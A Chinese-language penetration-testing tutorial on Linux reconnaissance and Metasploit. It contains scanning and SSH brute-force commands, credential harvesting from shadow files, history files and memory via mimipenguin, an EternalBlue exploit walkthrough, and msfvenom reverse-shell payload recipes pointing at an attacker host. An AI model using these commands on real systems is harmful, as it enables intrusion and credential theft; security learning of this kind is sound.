linux下信息搜集及msf工具用法
00x01.Linux下的信息收集
linux下多以端口扫描、IP扫描、MAC扫描等为主的手段进行信息搜集
NMAP之前期的信息收集
nmap作为渗透测试最常用的工具之一会出现在各种场景中,其功能也非常丰富,不仅可以扫描端口也可以探测指定网段存活主机。
扫描主机端口:
nmap -T5 -A -v -p-
扫描一个IP段,探测存活主机:
nmap -sP
探测操作系统类型:
nmap -0
甚至指定相应脚本还可以扫描漏洞和爆破弱口令,如下:
寻找登录授权页面:
nmap -p 80 --script http-auth-finder
SSH爆破:
nmap -p22 --script ssh-brute
dns 域传送漏洞:
nmap -p 53 --script dns-zone-transfer.nse -v
除了nmap工具以外,在需要扫描大量主机端口的情况下,masscan是一个非常推荐的手段:
Masscan 127.0.0.0/24 -p443 # 单端口扫描
Masscan 127.0.0.0/24 --top-ports 100 -rate 100000 # 快速扫描
Masscan 127.0.0.0/24 --top-ports 100 --excludefile exclude.txt # 排除指定目标
masscan 127.0.0.0/24 -p20,21,22,23,80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt
当然,这些远远不足以让攻击方拿下一台机器,这只是作为黑盒情况下的Linux主机信息收集的方式。
中期的信息收集
在运维人员能保证系统和软件维持在新版本、无弱口令、无特殊SUID文件、sudo命令的情况下,Linux提权是基本不可能的,但是安全很难做到万无一失。
在各种环境中存在各种不同版本的Linux系统,甚至类UNIX系统,比如:OpenSUSE、Fedora、Oracle Linxu、Slackware、FreeBSD、OpenBSD等等,所以先摸清系统版本信息是关键。
hostname # 查看服务器主机名命令
uname -a
查看内核信息:
uname -mrs
rpm -q <软件包名称>
dmesg | grep Linux
ls /boot | grep vmlinuz-
明白了系统的版本或发行版,下一步就针对这个搜索有关的提权漏洞,这里以 ubuntu20.04 为例,使用 Exploit-DB 的命令行搜索工具 searchsploit
searchsploit -w ubuntu 20.04 4.4.x
若是不存在提权漏洞的版本,那么注意点就要放到用户的信息上了。
id # 显示真实有效的用户 ID(UID)和组 ID(GID)
whoami # 当前用户
groups # 当前组
who # 显示目前登录系统的用户信息
比如SUID文件和sudo权限
找带 suid 的文件
find / -perm -u=s 2>/dev/null
查看当前用户执行哪些 sudo 命令无需密码
sudo -l
找到了可以sudo执行的文件又怎么提权呢?这里推荐一个网站 https://gtfobins.github.io/ 其中记录了大量的提权方案。
后期的信息收集
到了后期阶段,当攻击者成功提权,信息收集的目的其实偏向于扩大战果,而不是寻找突破口,红方人员会详尽一且办法,挖掘机器上有用的信息,然后作为跳板横向进攻。
知晓机器上运行着什么进程可以推测机器的定位
ps -aux # 列出所有进程以及相关信息命令
ps -ef
top # 总览系统全面信息命令,Ctrl + C 退出界面
安装了哪些程序?什么版本?是否正在运行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
在查看一些常见的服务配置文件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
如果时间充足,看一看日志文件也是很好的选择,这里就不多阐述,在之后的蓝队篇中会介绍。作为最高权限用户,shadow文件不可不看,万一跑出几个密码,横向渗透的成功率就会大大提高,将passwd和shadow文件下载到kali中进行unshadow,随后john爆破hash
mkdir /root/.john
cd /root/.john
unshadow passwd.txt shadow.txt > hash.txt
除了shadow意外也可以看一看其他敏感文件,比如数据库的配置、历史记录等
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
邮件也是一个关键点,某些场景下,可以发现非常敏感的信息。
ls -alh /var/mail/
除了本机器上的信息还要为拿下内网的其他机器做准备,摸清网络拓扑是必须的。
route
ip route # 显示核心路由表
ip neigh # 显示邻居表
cat /etc/resolv.conf # 查看DNS
arp -e
00x03.Linux后渗透之信息收集(metasploit)
msf启动
输入命令msfconsole,-q命令是不显示msflogo
检查虚拟机
所述checkvm模块尝试来确定系统是否正在运行的虚拟环境的内部和如果是这样,哪一个。该模块支持 Hyper-V、VMWare、VirtualBox、Xen 和 QEMU/KVM 的检测。
枚举配置
该enum_configs上普遍安装的应用程序和服务,如Apache,MySQL和桑巴,Sendmail的,等发现模块收集配置文件如果在默认路径中找到一个配置文件,该模块将认为是我们想要的文件。
枚举网络
所述enum_network从目标系统模块枚举网络信息的防火墙规则,接口,无线信息,打开和监听端口,活动的网络连接,DNS信息和SSH信息。
枚举保护
该enum_protections模块试图找到某些安装的应用程序,可用于防止,或发现我们的攻击,这是通过查找特定的二进制位置完了,看看他们是否确实可执行文件。例如,如果我们能够将 'snort' 作为命令运行,我们假设它是我们正在寻找的文件之一。该模块旨在涵盖各种防病毒、rootkit、IDS/IPS、防火墙和其他软件。
枚举系统
该enum_system模块收集系统信息。它收集已安装的包、已安装的服务、挂载信息、用户列表、用户 bash 历史记录和 cron 作业
用户具体信息HISTORY
该enum_users_history模块收集用户的具体信息。用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers。
00x04.Linux下抓取登陆用户密码神器mimipenguin
mimipenguin就像是windows中的Mimikatz。
下载命令:
git clone https://github.com.cnpmjs.org/huntergregal/mimipenguin
root权限下运行,通过转储过程和提取那些包含明文密码可能性很高的行(hang),充分利用内存中的明文凭证。通过检查/etc/shadow文件hash,内存中的hash和正则匹配去尝试计算出每个单词的概率
00x05.msf工具简单用法
msf使用方法
1.使用方法
进入msf:
msfconsolesearch
命令查找模块:
search ms17-010use
进入模块:
use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)
模块详细信息查看:
use了以后info,没use 之前 info exploit/windows/smb/ms17_010_eternalblue
设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要的参数:
options
设置参数:
set lhost 0.0.0.0(参数名似乎不区分大小写)
攻击:
run / exploit 都可以meterpreter后渗透阶段
2.rc脚本执行多个msf命令
msfconsole -r configure.rc
msfvenom生成shellcode
1 .一般生成
msfvenom
-p 载荷
-f 输出格式
-o 输出文件msfvenom
-p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe
大部分时候也是需要一些配置 lhost lport这些:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
2. 编码生成
msfvenom
-a 系统架构
--platform 系统平台
-p 有效载荷
lhost=攻击机IP
lport=攻击机端口
-e 编码方式
-i 编码次数
-f 输出格式
-o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
一般来说 -a可以不用,--platform也可以不用
3. 查看支持的系统架构
msfvenom -l archs
4. 查看支持的系统平台
msfvenom -l platforms
5. 列出所有payload
msfvenom -l payload
6. 列出所有的输出格式
msfvenom -l formats
7. 列出所有的加密方式
msfvenom -l encrypt
8. 列出所有的编码器
msfvenom -l encoders
常见生成格式
1.windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe
2. Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf
3. Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4. Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5. Aspx
msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6. Jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7. PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8. Bash
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
感言:
信息搜集是一个浩瀚的工程55555
参考资料:
红队视角下Linux信息收集
Linux后渗透之信息收集(metasploit)
Metasploit&Cobalt Strike 基础
MSF-Metasploit(基础)